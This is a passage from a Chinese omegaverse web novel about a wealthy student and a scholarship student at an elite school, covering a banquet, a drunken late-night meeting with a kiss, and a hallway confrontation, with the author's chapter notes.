班里有好几人都参加了,她希望大家放学后去看看,给学校的人鼓个掌喊个加油什么的,特别是他们班也有不少人参加了。 “知道了老棠。” “放心吧老棠,我们都会去给咱班的同学加油的!”班长武佟带头说。 不知道谁说:“我打完游戏就去!” 于是又是一众嘘声和笑声。 老棠笑眯了眼睛,随后她说:“这次机器人大赛是各大科技公司策划的,有我们学校学生会以及社团志愿者参与,大家去的时候记得找匙越领一些主办方发的小礼品。” 众人看向匙越,陷入一阵诡异的沉默。 而文强自认为知道了匙越还没交学费的秘密,对他产生了一丝怜悯,再加上他加了匙越的微信,对他那微信头像看上去像是在贫民窟拍的照片,更产生了一丝诡异的同情。 他在一片轻蔑的嘁声和嘘声中带头朝匙越喊:“匙主席,记得给我留几份!” 班里的气氛顿时就活跃起来了,不少人跟在文强后面朝匙越喊话,要匙越也给他们留一份。 匙越点点头,示意他知道了,他起身说:“想要的同学下课后来我这里登记一下,我给你们留礼品,仅限我们班的同学。” 于是班里又是一阵吹哨鼓掌。 “匙主席,够义气!!” “匙主席,之前看错你了!” “哇哈哈哈哈!” 也有不少人报以鄙夷的目光,社会招考生的身份地位即便他当了学生代表也难以撼动,哪怕他主动给予他们什么恩惠帮忙,那也是理所应当的。 社会阶级是根深蒂固的,这一点即便他们还没有进入社会,就深刻意识到了,并从小一以贯之。 陆思华坐在隽云后桌,他看着他,而隽云从始至终都没有往那边看过,独自做他的题,这就是他的态度。 陆思华的表情稍微松了松。 文强哼着小曲坐下,认为自己简直是拯救学校贫困学生的盖世英雄。 但是柳元誉看不惯匙越,他之前在马场上和匙越暗暗交锋过,匙越这个人绝对不是什么老实的社会招考生,于是他嗤了一声,偏过头问旁边的隽云: “喂,你什么时候能把他处理了?” 隽云只是淡淡的看了他一眼,没说话。 见隽云不吭声,柳元誉顿时拿捏不准他的态度了。 不是都说隽云很讨厌匙越吗?怎么开学这么久了还由着他这么蹦哒? 网传的消息到底准不准啊?柳元誉纳闷。 无人注意到在教室一隅的闵术攥紧了手掌,在众人欢呼鼓舞中,他看向匙越,目光中参杂着一丝嫉恨—— 作者有话说:柳元誉抓狂:那些网传的消息到底准不准啊? 卷云淡淡看他一眼:不信谣不传谣。 ———————————————————— 评论区掉落一百个小红包[撒花] 第26章 第二十六章 “跟我来。”…… A市最高空中餐厅的宴会厅落地窗将窗外闪耀的霓虹灯切割成洵烂的光点, 侍从穿着燕尾服端着餐盘穿梭于人群之中。 俊男美女们穿着礼服,或举着酒杯,或是坐在边上的花座上与人攀谈。 隽云穿着西装, 端着一杯红酒,脸上挂着标准得体的微笑, 朝前来敬他酒的人举了一下杯。 他旁边是他的父母,隽诉和元青。 元青穿着苏绣旗袍,耳坠上、脖子上戴着大颗碧绿的翡翠, 举手投足优雅十足, 她正与这场宴会的主要人物——陆家陆老爷聊天,旁边陆太太和陆小少爷陆思华也在场。 觥筹交错的酒杯互相碰撞, 元青笑的合不拢嘴:“恭喜你家大儿子娶到一个好儿婿~” “我家二儿子陆思华也不错,要不是你家孩子早早就定亲了,我看他们一个alpha一个omega, 还是青梅竹马,配的很呢~” 说着说着,陆太太两根手指凑近,旁边的人皆笑出了声。 陆思华抬眼看向隽云,他敛着眉眼似乎有些心不在焉, 根本没有在听他妈妈说了什么。 他总是这样, 对这些酒会,即便不太喜欢奉承,也不会挂人面子,但是别人说的话,他总是似乎在听,但是从来都没有放在心上。 元青笑道:“那真是太可惜了,隽云早早就和叶家定下来了。” 灯光暗下来, 聚光灯聚焦在舞池上,他们一行人看向舞池,那里有两人正开始跳舞,一人身量高大,穿着黑西装,头发梳上去,露出来一张俊朗面庞,另一人身材娇小,穿着白色西装,模样清秀,正和对面的alpha牵着手跳舞。 不过两个人虽牵着手跳舞,但是身体似乎十分排斥,离得远远的,看向对方的眼睛里都没有笑意。 元青抿了一口酒,笑吟吟说:“我看秦家的孩子长得很漂亮呢,很配你们家老大。” 陆先生面色红润,他听了很高兴:“也是托亲家的福,订婚完就帮我们签下了s市的一个合同,让我们鹿鸣药业又上了一个台阶!” 他的酒杯放低了一些,碰了碰隽诉的杯子,压低了声说:“过几天,政府有一个招标,到时候还得麻烦隽员长多多关照一下。” 隽诉模样儒雅,嘴角噙着一抹笑,举杯:“哪的话,那是自然了,我们都认识这么多年了,帮帮老朋友而已。” 于是众人又再次举杯相庆 隽云的酒喝的有点多,他提出要去洗手间,于是先一步离开了宴会厅。 隽云捏了捏眉心,感觉有些疲惫,他没去洗手间,出了宴会厅门后面无表情地来到电梯口按了一下地下一层的按键。 电梯到了后他走进去,再次按下电梯按键,红灯亮起,电梯缓缓运行而下。 从十八层降到十六层,“叮”的一声,红灯转□□,金属感应的电梯门开了。 电梯门缓缓向两边打开,外面亮堂的走廊入眼帘,灯光璀璨,晃了一下隽云的眼睛,原来走错了,还没到一楼。 门口白色的瓷砖上站着一个他很熟悉的男人,身材高大,眉目英俊。 也让隽云怀疑自己出现幻觉了。 那人鼻梁高挺、身量很高,哪怕只是站在那里也给人沉沉的压迫感,而这点是隽云之前很少体会过的,毕竟匙越在他面前不是笑着弯腰亲他,就是坐着拢隽云的腰,让他站在他的腿间。 隽云看了一眼电梯,怀疑自己是不是喝到出现幻觉了。 这不是匙越吗? 他怎么在这里? 匙越也才看到他,眼里一抹诧异闪过,很快,他收起表情,踏步进了电梯: “去一楼?” “嗯。”隽云回复。 于是匙越按下去一楼的电梯键,红色的指示灯亮起,电梯再次缓缓运行下去。 不算大的密闭空间,两人离得不远,进来后匙越和隽云都没说话,电梯里静了两秒,然后匙越皱着眉偏头看他,打破了寂静: “你喝酒了?” “你怎么知道?” “你身上有酒味。” 隽云手指一蜷,他是喝了,但是那又怎么样?他面色白净,语调沉稳,吐字清晰地说:“我没喝醉。” 说完他就后悔了,应该说关你什么事才对。 喝多了就容易降低对这个人的警惕性。 这样是不对的。 他归结于是因为还在发情期末期,对匙越还存在着一种信息素依赖性,所以他问什么他就会答什么。 电梯缓缓下行,隽云迟钝地想起来,他还有一个至关重要的问题没有问他: “你怎么在这?” 这所大厦位于A市中心,实行会员制,普通人根本进不来,想要在这边包间宴会厅甚至需要提前一个月申请,酒店实行新严格的宾客进出管理制度,绝不会放一个没有什么身份地位的人上楼。 所以匙越怎么会出现在这? 匙越笑了一声,笑他才想起来问这个,他想了想,找了个借口,因为隽云喝多了,听起来匙越是在对答如流地解释: “比赛散场后主办方组织聚餐,就在这栋十六楼举行。” 噢 隽云这才想起来今天下午放学的时候,老棠似乎说过这个事,有个什么名校联合研究所举办的机器人竞赛来着。 匙越是学生代表代表学校作为主办方之一,要去负责跟进赛事。 这一块是市中心,是A市最繁华的街道,数不清的高楼大厦还有大规模建筑的展会建筑,规则越高的赛事往往也在这附近举行,有钱的主办方选择来这家举办赛后庆功宴也不是不可能。 隽云的脑子有点昏沉,当即不疑有他,很缓慢地眨眼:“哦。” 匙越:“看来你喝醉了。” “叮~”电梯到了。 到了一楼,潮水般热闹交谈的声音随着电梯门打开而涌入他们之间,隽云抬脚,率先走出了电梯门。 出了电梯门后,隽云就停下脚步,他看了一下大堂,前台的服务员浓妆艳抹,穿着职业装正举着一个文件夹偷偷打量他。 他转头看向旋转玻璃门外,行人匆匆路过,再过去就是两道宽敞的马路,无数辆飞驰的车子穿梭而过,对面是高耸入云的大厦,灯光从方正的格子楼里透出。 “没有想去的地方吗?”身后传来声音。 隽云不语,他只不过是不想待在宴会厅,找个借口下来喘口气而已。 他确实是没有目的,没有方向,也不知道该去哪里。 身为隽家独子,出生那天专门报纸登着隽家少爷含着金钥匙出生了,往后更是数不清的社会名流和新闻媒体跟着他。 在外人看来他一举一动挑不出错,是模范孩子,但那都是因为从小到大耳提面命的下意识举动了,苛责的话总是会在午夜响起,被时刻提醒行为举止必须做到完美。 只有回到他的房间里,关了灯,封闭漆黑的黑暗包裹他的时候才能感觉到一丝安全,从外界一整天的窥探、家里时刻紧盯的压迫中找到一处栖息地得以喘息片刻。 A市是这么寸土寸金的地方,他生存的地方太小了,巨大的高楼大厦像一张密集的网将他笼罩在爸妈的手心里,无数人的视线、无数摄像头对着他。 哪里都没有他容身的地方。 周围的人来来往往,人潮川流的路上,不知道去哪,光是这么想着,隽云就有些呼吸不过来了,也可能是酒精放大了情绪,他站在那里,几乎感觉自己浑身僵硬,瞳孔放大,呼吸急促起来。 糟糕 他没有带药 “你打算去哪?”匙越在他身后又问了一次,但是隽云背对着他没有回应。 不对劲。 隽云不是不理人的性格。 他一把拉住他的手腕,把隽云拽到一处人相对少的地方,看着他瓷一样冷白的侧脸和冒汗的额头,手抬起碰了碰他的脸又收回去了: “你怎么了?” 隽云靠在墙上,低着头小口喘气,他用力张了张手,尽力舒张自己,缓了一会儿才终于缓过来: “没事。” 好半天,匙越想说什么,但是没说,他收起疑问,拉住他的手腕把他拽离了这里: “跟我来。” * 夜幕已垂,一片浓重的漆黑沉沉地将底下的一切笼罩住,无数盏如萤火般亮却又密集的灯在一栋栋建筑,从一层层窗口里透出。 二十四小时不停业的便利店门外巨型的白色遮阳伞撑在小桌旁边,桌子是条纹木桌,透过桌子的间隙能看到底下的地板,椅子是有弹性的布椅,隽云坐在上面,身体陷在椅子上,他撑着半边脸看着外面的马路和行人。 花坛边上一对父母拉着一个大约两三岁小孩的手在路上走,女人穿着简约的白色裙子,男人则是T恤短裤打扮,小孩晃着他们的手,有说有笑地走了过去。 黄白色远光灯从车道远远地照过来,在隽云的脸上一闪而过,他听到路过的小孩发出咯咯笑的声音,看到那对年轻的父母手一用力,把小孩提在半空中晃了晃,逗的小孩笑个不停,一家人非常幸福的模样。 面前的桌子突然被敲了一下,隽云回过神来,慢吞吞收回视线,看过去,是两瓶饮料立在桌面上。 眼前的人穿着一个黑色的大外套,里面是一件白色的卫衣,裤子是宽松的阔腿灰色裤,很普通的穿着,却因为那人个子太高,身形挺拔好看,连带着一身普通的穿着都显得格外有气势,像是刚从t台走秀下来的模特。 匙越拉开椅子,他拿了一个罐装饮料,隽云眼尖地看到了上面写了个酒精度数提示——所以应该是酒? 隽云的视线划他面前的AD钙奶,抬眼:“什么意思?” “给你的。” 谁问这个了? “你自己喝酒,给我这个?这是什么?” 隽云也没喝过这个,所以发出一声不确定的疑问:“奶?” 不知道是酸奶还是什么奶。 “我这个不是酒,度数很低,就是一瓶饮料而已。”匙越反问:“没喝过AD钙奶吗?” “没有。”他在家里要么只喝水,要么只喝纯牛奶或者果汁。 不知道是什么奶,不知道有没有添加剂防腐剂,像这种小饮料父母没给他买过,他在外也从来不喝。 “你可以尝试一下。” 吸管戳破锡纸穿进去,匙越亲自给他戳破密封层,拎起一瓶贴了绿色logo标的圆滚AD钙奶瓶放在他面前,做了个请的手势: “请喝吧。” 隽云淡淡说:“我不喝奶,我已经成年了。” 隽云的手放在膝盖骨上,坐的很端正笔直:“A国法律规定,十六岁就是成年人了,我今年已经十八岁了。” 匙越很有意思地看着他。 他在此刻确认隽云喝醉了,不然不会说出这种像在背书一样的话,字正腔圆,方方正正,掷地有声。 非常可爱。 匙越声音放轻柔了点,循循善诱似地问他:“你刚才在干什么?” “在参加陆家举办的宴会,陆思华哥哥的订婚答谢宴。” “好玩吗?” 隽云一板一眼地回答,因为信息素依赖,他本能地信任他,他摇摇头说: “不好玩。” 陆家只是想借这个机会,拿下政府的一个招标,隽云还是扯了扯嘴角,显得有些烦闷,毕竟,他爸是A市委员长,多的是人想和他交好。 “原来是这样。”匙越了然地点头:“陆家,生物制药企业,研究项目大多聚焦在前端高科技产品。” 话题一转,突然转到了他身上:“你和陆思华很熟吗?”—— 作者有话说:图穷匕见 第27章 第二十七章 “给我信息素。”…… 隽云不知道匙越怎么会知道陆家现在在研究什么, 也不知道话题怎么会跳到陆思华身上,他懒得去想,声音拉长也有点懒散: “唔还行吧。” 隽云搭在桌上的一只手拿过那瓶AD钙奶, 递到嘴边,试探地吸了一口。 丝滑的奶味带着点酸。隽云皱了皱鼻子。 一般吧这个味道, 有什么好喝的 属于是没必要的尝试。 于是隽云又把它放在桌子上了。 “你和陆思华认识很久?” 匙越看着他把AD钙奶放桌上,笑了笑,觉得他挑食, 但是蛮有意思的, 这么乖,尝一口不好吃就不吃了。 隽云鼻腔里发出个“嗯”。从幼儿园的时候就认识了, 大约算起来有十来年了。 “差不多十三年了吧。” “那就是5岁就认识了。”匙越了然点头,神色平静:“真早,恭喜你们。” 隽云:“?” 恭喜什么? 他莫名其妙看他一眼。 匙越慢悠悠地说:“我是说你们关系挺好的。” 隽云补了一个人:“还有文强。” “所以刚才文强也在宴会上吗?还有谁?”匙越扫了眼他浅浅笑时露出的小虎牙, 又问: “你和文强也很熟?” “嗯嗯。” “哦。”匙越只发了个单音节,就什么话都没说了。 或许是呼吸到新鲜的空气,或许是喝多了,生理性依赖的人就在旁边,隽云很久没像现在这样心里什么都没压着, 很轻松, 于是他的话相比往日来说多了很多: “但是他被他小爸揪着去认人了,连招呼都没来得及和我们打,在宴会上没来得及和他说一句话。” “小爸?” 匙越很快才意识到他说的是谁,应该是生文强的omega爸爸。 omega和alpha在社会上不多见,大多数都是beta,百分之七的人是alpha,再极少数的人群才是omega。 所以大多数的家庭要么是beta和beta的结合, 就像陆思华家。要么是alpha和beta的结合,比如说匙越抬眼看向隽云。 隽云他家。 他早就在背地里把他家摸透了。 “嗯。”隽云的语气里是难以压制的羡慕:“他的两个爸爸感情很好的,是自由恋爱结的婚。” 难怪能养出那么活泼的性子。匙越撬开罐装饮料的拉环,很淡地说: “是挺羡慕的,我也很羡慕。” 隽云恍然想起,他爸妈离婚了,大概也是感情不好吧。 他又提起他的伤心事了。 隽云生出一点感慨,某一方面来说,他们也是同病相怜,家庭都不是太好。 “对不起。” “不用道歉。”匙越顿了一下:“好孩子。” 没看到匙越眼里划过的一抹促狭,隽云看了一下手表:“我只能出来二十分钟,现在已经过去十分钟了,时间不多了。” “所以呢?”匙越问他。 “所以” 隽云吞吞吐吐,他捏着瓶子,指尖捏的泛白,他看了一眼然后松开了,血液回流,他怀疑自己喝的不是ad钙奶,而是匙越手里的那一瓶酒,不然他怎么会说出这种话? 隽云喃喃说:“今天,你还没有给我信息素” 隽云有点微醺,突然有点生气了,他们坐在这里这么久,匙越为什么不给他释放一点信息素? 他昨天还在发情期,今天又没有好全! 之前每天都亲,都给他信息素,为什么今天不给? 匙越:“你贴隔离贴了吗?” 隽云突然恍然大悟,难怪他闻不到一点匙越的信息素。 他顿时气焰削弱了:“贴了,所以闻不到你的信息素味道,但是我觉得” 他微微抬脸,眼眸里泛着点点水光,配上他不太清醒的语气,让人怀疑他的发情期又来了,否则怎么会说出这种话: “我觉得难受” 事实上,昨天还在发情期,确实没那么快就好。 花坛外的车道,一道道车辆飞驰而过,不远处的绿灯变为红灯,车辆缓停,堆积在路两边的行人们散散地往前越过斑马线朝对面走去。 宽大的遮阳伞下,是一桌桌在便利店门口歇脚的客人,路过的路人也朝靠里面那桌人看去。 一只宽大的手掌在桌上立着一本杂志,立着挡住二人凑在一起的脸。 两颗脑袋在杂志后面凑的很近,不像是正常的社交距离。路边等车无聊的司机看见他们,特意升下窗户,朝他们吹了一声口哨。 隽云亲他的时候,总是慢慢磨蹭着,像小猫一样细细舔邸他的唇瓣,时不时啄两下,仿佛这样做就很满意了。 匙越垂着眼眸,他看笑了。 他哑声说:“你要的信息素,那就多要点。” 遒劲有力的手捏住他的下颌,舌尖舔开他的唇瓣,辗转着深入他的口腔内部,直到汲取到他舌尖的滋润。 “唔唔” 隽云的挣扎很小,匙越吮着他的唇舌,眯起眼睛,觉得自己尝到了一点奶味 隽云从衣襟整齐的西服口袋里掏出来一个干净的袖帕,抹了一下嘴唇,把唇上的水光都擦掉。 十分欲盖弥彰的举动。 余光中,匙越似乎看了他一眼。 隽云低着头,重新咬上吸管吸奶的时候,觉得自己的脸有点烧。 他亲到一半才想起来,他们昨天就结束不正常的治疗关系了。 更何况昨天匙越给了他那么多次临时标记 ,帮他度过了严重的发情期,没有趁人之危标记他,已经很好了。 他不应该再这么和他亲了,对匙越不太好,毕竟他们不是那种关系。 但是他喝多了,鬼使神差地忘记了。 也有部分原因是因为发情期没好全导致的,但是匙越呢? 为什么还亲他。 隽云装作不在意地瞥了他一眼,心想他难道是因为喝了那个含酒精的小饮料,所以忘记了吗? 杂志被随手丢在桌子上,隽云重新看向来往的车辆,他狠狠地吸AD钙奶试图洗一下嘴里的alpha信息素味道,奶味逐渐笼住覆盖掉白兰地葡萄酒味。 隽云这才觉得鼻尖嘴巴里那一股味终于没了。 就是有一种淡淡的失落感。隽云的牙齿磨了磨吸管。 他把这归结于他的发情期还没好完,而98%的匹配度,会让他很留恋匙越的味道,所以失落是正常的。 他必须得努力让自己保持清醒一些了。 想到这,隽云面无表情,喝AD钙奶的速度更快了。 “喝这么快干什么?” “与你无关。” 隽云终于说出这句话,感觉找回了自己的主场,额前的头发被风吹拂,他感觉清醒不少。 隽云的侧脸线条很好看,睫毛长长微微卷翘,很认真地看着外面的景色,比来时红上许多的唇轻轻吸着瓶装里的AD钙奶,连嘴角都浮上来一些奶沫。 “”感觉到视线,隽云的齿间磨了一下,声音有些模糊:“再看不喝了。” 隽云“咕咚”咽下,一边吸着一边放狠话,可惜说的话模模糊糊,反倒一点也不凶。 匙越的罐装饮料搁在桌面上发出轻响,隽云轻瞥过去,却意外对上了匙越的视线。 匙越从他的眼睛划向他的唇,嫣红的唇角沾了点白色的东西。 匙越的喉结微动:“你的嘴角有东西。” 隽云试探地伸出嫣红的舌尖舔了一下,还真的舔到了一点液体。 “” 两个人都不约而同地想到了什么。 隽云三下五除二喝完了奶,将瓶子丢到垃圾桶里,然后起身看了看手表,脸色很镇定但是语速很快: “好、好了,时间不早了,我先回去了。” “好的。” 匙越看到隽云绷着白净的脸,而他的耳朵是红的。 * 有了星期一这莫名其妙的一晚,接连几天他们都没有再私下见过面。 两人都恢复了正常而又普通的同学关系——没有任何交集。 不过在其他人眼里他们仍然视同水火,毕竟都开学这么久了,同班同学,抬头不见低头见的,哪怕上运动课碰到了也仍旧一声招呼都不打,冷漠地擦肩而过 叶馨言周三的时候来高三一班找隽云。 那时候匙越正趴在桌子上睡觉,一只手伸长搭在桌面朝前垂下去,另一只手盖着后脑勺,挨得近,因此隽云和她的话一个字不落地传进了他的耳朵里。 一米远的地方,叶馨言正热情地邀请隽云:“你就陪我去嘛!” 而隽云语气冷漠:“没空。” 叶馨言:“还有李恩惠,柳元誉也来。” 叶馨言马上又说:“还有文强,陆思华!到时候都给他们发请柬,都邀请来我家聚会。” 隽云神色不耐烦,他周末其实没什么事,只是他纯粹不想和叶馨言待在一起,即便他们最后可能会结婚,他也打算时刻和她保持距离。 “抱歉,让一下。”一个声音在隽云后方顶上的位置传来。 好熟悉的声音,隽云感觉他的耳朵有点麻,他确实是站在门口当道了,于是往旁边走,让了点位置给这个人过路。 教室后门俢得不宽,隽云站在门框边几乎是贴着门的,留出来的位置绰绰有余能过人,然而那人还是几乎擦着他的肩膀过去的。 他眼皮一掀,抬头看了过去,恰好看到匙越棱角分明的下颌,以及抿成一条线的唇。 匙越头发有些乱,长长的碎发盖在眉眼上,脸上还带着一点睡意,他垂下眼眸,扫了眼他,似乎不是很在意地径直朝拐角处的厕所方向走去了。 走廊上很多人靠在走廊边上的金属栏杆在吹风,不少人的视线有意无意地绕到他们身上。 叶馨言还在继续说,试图游说他参加她的聚会,隽云正在考虑怎么拒绝她比较体面。 见隽云不说话,叶馨言便直接上手了,她上前几步把距离拉近了,拉着他的手腕轻轻晃了晃: “拜托拜托,你就来呗,我们都多久没一起吃过饭了?” 隽云不喜欢有人碰他,难掩嫌恶地说:“放手!” 但是叶馨言没放,她压着声音飞快地说:“我知道我上次做的不对,但是上上周你在车里骂过我之后,我就已经认识到错了,我爸妈也已经骂过我了,你周五就来我家玩吧?好吗?” 叶馨言离他非常近,手还拉着他,因为情绪波动而导致一点微弱的alpha信息素释放出来,隽云的皮肤感觉到了一点针扎似的不适,手臂开始过敏似地泛红。 他对叶馨言说的话无动于衷,被强制拉着手他很难受,晃了晃胳膊,脸色很难看: “我说放手!” 叶馨言语速飞快:“我知道你还生气,但是不是什么也没发生吗?你为什么就不能” “没听到他说放手吗?” 另一只手伸过来打断了他们的交谈。 那只手相比起叶馨言的手臂更加雄健有力,小麦色的皮肤青筋丘壑,抓着叶馨言的腕关节,用了点劲,叶馨言的手指顿时呈鸡爪模样,被拽拉着从隽云身上离开了。 第28章 第二十八章 “发这种照片。”…… “???” 叶馨言转头看去, 是洗了把脸的匙越,他的额角还在滴水,脸上沾着水珠未干, 神情懒懒,语气却十分薄凉: “同学, 你哪班的?没听到这位同学说放手吗?你这是什么行为你知道吗?” “你这是”他恶劣地吐出三个字:“性骚扰。” 走廊里的人似乎都安静起来了,只有教室里面还传来喧闹声。 什么!? 性骚扰? 叶馨言不可置信地瞪大了眼睛,哪有那么夸张? 她可是和隽云订过婚的。 她被气笑了:“你不知道我是谁?” 匙越打量她, 在大众期待的目光下恍然大悟, 然后语气迷茫地说了一句:“你是谁?” 叶馨言:“” 隽云:“” 还真能不认识啊? “你说他们该不会真打起来吧?”走廊上的同学有些后怕地搓了搓胳膊:“怎么说也是一个班的,要不要去拉一下架?” “拉什么架什么!?巅峰对决赛终于要开始打了?这不精彩吗?等着鼓掌吧!” “我要拍个照发群里!” 走廊上有个男生偷拍了一张照片发到了“团结友爱, 互抱大腿”群里。 群里非常热闹,有很多人艾特他让他开直播。 男生叹了口气,肩负着使命地点了一下群里的直播按键, 摄像头藏在胳肢窝下,一脸深沉地抱臂看天看地,手机则对准了三个正在对峙的人。 纪律委员是一个圆脸的omega女生,她趴在窗户上扶了扶眼镜,对同样探出窗外观看的班长武佟很无奈道: “班长, 校规里禁止omega和alpha有双方暴力行为, 我们等会要不要告诉老师。” “不用,再看看吧。”武佟唏嘘道:“希望别真打起来。” 不然他都不知道该拉谁的架了 “叶馨言,没听说过吗?那你还真是孤陋寡闻。” 叶馨言呵呵笑了两声,她向来骄纵惯了,下巴一抬,手扬起来就要给他一巴掌。 她今天还非要给他个教训了。 区区一个社会招考生三番几次来招惹他们? 还没擦到他的头发,匙越动作很快, 他一把攥住叶馨言的手,拧了一下,她顿时痛呼一声,表情都扭曲了,凌厉地尖叫:“放开我!” 匙越唇角浮现一丝若有若无的笑意,阴冷无比,他松了手,叶馨言的手上顿时出现了两道被拧伤的印子。 叶馨言大惊失色。 alpha之间有信息素压制作用,而眼前的alpha甚至在体格和力气上都胜她一筹。 偏偏这时候隽云开口了,他不赞成地看着叶馨言说: “好了,你也不用动手打人。” 他知道匙越的战斗力很低,这一次接住了叶馨言的巴掌只是凑巧,叶馨言身为一个alpha如果想欺负匙越有的是力气和折磨的手段,匙越未必招架的住 毕竟有匙越被欺负的前科。 “什么”叶馨言闻言震惊,分明是他先莫名其妙出现欺负她的吧! “明明就是他先挑事的” “我可没有。”匙越点了点自己胸口的铭牌,第一栏是他的姓名,第二栏是班级,再下面一栏是校内职务,上面写着很多头衔:学生代表、学生会主席、校团委负责人。 “介绍一下,我还管校内风纪,校规第二十三条写了,禁止alpha和omega在校期间有交往过密行为,也就是说” “你们越界了。” 其实星耀不太管学生有没有谈恋爱有没有订婚,向来是睁一只眼闭一只眼,只要不闹出人命,星耀都不会查交往过密这方面的问题。 毕竟在这里读书的很多学生家世都很好,到处都安插着家长们的眼线,学生在校期间谈恋爱了很难瞒过家长,需要阻止的话,家里人自然就会出手阻止了,轮不到学校来管。 只是出于对omega的保护,以及学生还是要以学业为主,所以校规上写了“禁止alpha和omega在校期间有交往过密行为”这一规定。 “我” 叶馨言压根不知道有这回事,她从来没看过校规,更没想到有朝一日有人会拿着校规来找事,她惊呆在原地,一时间竟然找不到理由来反驳他。 走廊上的文强双手背在脑后,仰着头正倚靠着栏杆吹风,见状感慨一声: “不愧是我匙哥!牛逼!真是有种啊。” 柳元誉在他旁边,也靠着栏杆,他的目光落在楼梯上一个艰难搬麻袋的一个双马尾女生身上,冷笑一声: “作秀给谁看呢?” 再旁边的陆思华一语双关:“故意找茬?” 听他们这么说匙越,文强叹一口气:“有时候感觉你们对我匙哥恶意太大了,话说你们看得惯叶馨言?” 柳元誉头都没回:“看不惯。” 陆思华呵呵一声:“她还是算了吧。” 另一边,对峙还在进行着,匙越单手插兜对他们说:“碍于是第一次抓到,口头警告一次,再有下次,就要给你们违纪处分了。” “你真以为你是学生代表就了不起?”叶馨言的声音扬起:“你信不信我让你在星耀混不下去?” 隽云对此没有发表任何言论,对匙越说的口头警告无动于衷,对叶馨言的威胁言论也不予致辞,毕竟在星耀中学,他说了算。 所以他更像是像一个冷静的局外人,在观察他们的反应,更准确的说,是在观察匙越的反应。 面对这种威胁,他会做什么? 而匙越听到叶馨言这话,似乎终于知道害怕,他的气势瞬间弱下来,被她吓到了一样,眼尾垂着,往隽云的方向瞥了眼,语气弱弱说了一句: “不要,我怕怕。” “” 全场人沉默。 “”也感到无语的隽云颇为闹心地叹了口气。 他就知道。 匙越真的很容易被欺负。 至于上次被匙越揍过四个人听说有好戏看,于是偷偷摸摸苟来了第一现场,此话一出,他们震惊在原地, 这哥们又是闹的哪出啊!? 上次揍他们的时候可不是这么心慈手软啊 刚才接叶馨言那一巴掌的时候也没那么弱啊! 怎么关键时刻说叠词词啊!? 对于匙越的突变,叶馨言懵了一瞬,虽然不知道他在干什么,但是她占据上风,很快又得意起来,扬眉吐气道: “知道怕就好,你最好给我老实点,听到了吗?” 还不等匙越说什么,隽云说:“好了。” “闹够了没有?”隽云面庞冰冷,对叶馨言说:“你可以走了,以后不要再来找我。” 叶馨言闻言,刚红润的脸又难看起来。 隽云居然在大庭广众之下赶她,甚至都没有给她留几分情面,都不顾着她的面子。 她双唇动动,但最终还是挤出一抹难看的笑出来: “那那好吧,我就先回去了,你周五晚上记得来。” 等叶馨言走了后,隽云扫了一眼不远处排成一排齐刷刷看向他们的学生,最终冷着脸和匙越擦肩而过,什么都没说,进了教室里。 “团结友爱、互抱大腿”群: [这是什么情况?] [匙越主动挑衅隽云和叶馨言,说看到他们拉拉扯扯了要扣他们的分!!] [匙越疯了吧,学校谁不知道隽云和叶馨言已经订婚了。] [对啊,人家拉拉扯扯管他什么事,我看他就是故意找茬的。] [匙越和隽云的关系就这么不好吗!?] [嘶大家以后看到这两人都躲着点!太疯了!] * 周三周四一晃就过,叶馨言确实没再来找隽云,班里也相对太平。 文强有意无意想缓和匙越和隽云之间的关系,毕竟是一个班的,两个人闹得太难看也不好,于是盛情邀请隽云一起打羽毛球的同时,也邀请了匙越,想让他们化干戈为玉帛,可惜隽云每次都拒绝了。 今天在他再次邀请的时候,隽云不着痕迹地瞥了一眼匙越,对文强说: “还是不了。” 周五很快就来临,今天天气不好,傍晚的天一直是沉着的。 一整个下午匙越都不在。 “叮铃铃铃~” 放学的铃声响起,隽云收拾桌面上的书本。 后桌传来声音:“隽云,今晚去聚会吗?” 是陆思华问他。 隽云把桌上刚发下来的卷子叠的工整,放到了书包里:“看情况吧。” 文强:“看什么情况,一起去呗!” 坐隽云旁边的柳元誉嗤笑一声说:“这种聚会有什么好去的,女人们的聚会。” 文强:“那邀请你的请柬你不也收了?” 柳元誉神色阴冷,他讥讽了一声:“收了我也不去。” 说完他拎起书包,手猛地将椅子一推,椅子在桌子底下发出一声砰响,周围不少人被他吓了一跳。 “神经!吃枪药了吧!”文强拍拍胸口。 陆思华淡淡道:“据说是因为招惹了某个社会招考生,那个社会招考生哭着让他滚远点。” 文强四处转头看:“谁啊?谁啊?” “不知道。”陆思华耸耸肩。 隽云不是一个八卦的人,把自己的东西收拾好后他就走了。 刚到校门口和陆思华文强他们分道扬镳,阴沉的天空就传来一声“轰隆”巨响,豆大的雨点落了下来。 隽云在车上听着司机李叔放的车载电台新闻,里面传出的声音严肃,一问有好几个人回答,大约是一个商业论坛大会,很多企业家的声音他都十分熟悉,甚至有一个他昨天去他家吃过饭。 雨水在车窗上汇成小股的细流滑下,听着电台,隽云闭着眼靠在真皮座椅上浅浅休憩。 下车时身上沾上了一点雨水,回到家后,他放下背包,去浴室洗了澡,顺带把校服换下,穿了一身稍微休闲的衣服。 出来后他看了一眼窗外,依旧是阴天,雨没有要停下的意思。 隽云把擦头发的毛巾丢在椅背上,给自己倒了一杯水,他坐在椅子上打开手机,上面有一条未接来电,是在他洗澡的时候打过来的,所以他没有接到。 消息栏显示有好几条未看的红色提示消息,隽云点开: —sy1011:Q口Q!!! —sy1011:你快来! —sy1011:【图片.jpg】 隽云点开,发现是匙越的自拍。 看背景大概在学校的楼道里,能看到半截楼梯,占据最大画面的是他的脸,然后是胸膛,大半个身体进入画面。 额头头发全湿了,黏在额头上,还往下滴水,脸上有五个清晰的红色巴掌印,应该是被人打的,俯着角度拍的,显得异常可怜的低眉顺眼,额角滴水,再往下还能看到夏季衬衫湿了透明地贴在身体上,显露出明显的腹肌线条。 发这种照片 隽云:“?”—— 作者有话说:性骚扰的另有其人 第29章 第二十九章 “好香。” —sy1011:下午有个市区演讲比赛要去参加, 前不久才结束,回教室拿书包的时候,遇到叶馨言和她的几个朋友。 所以, 这是又被欺负了? 匙越拍照的角度是俯视的,让人很有一种保护欲, 即便他本人比后面几节台阶要高。 隽云当即不疑有他,以为因为星期三的事情叶馨言又来找他茬了,于是给匙越发消息: —云:他们走了吗? —sy1011:走了。Q口Q! —sy1011:可能是因为等会你们要聚会了吧, 所以她们打完我之后, 把我推到外面淋雨,然后就急匆匆地走了。 说到聚会, 隽云看了一眼手表,表针指向六点半,大概还有半个小时聚会就要开始了, 而从他家去学校要十五分钟,再从学校去叶馨言家也得十几分钟。 还在考虑,似乎看出来他的犹豫,sy1011用户又给他发了个消息: —sy1011:他们还把我的伞拿走了! 伴随着这句话,突然天空一个巨雷砸下来, 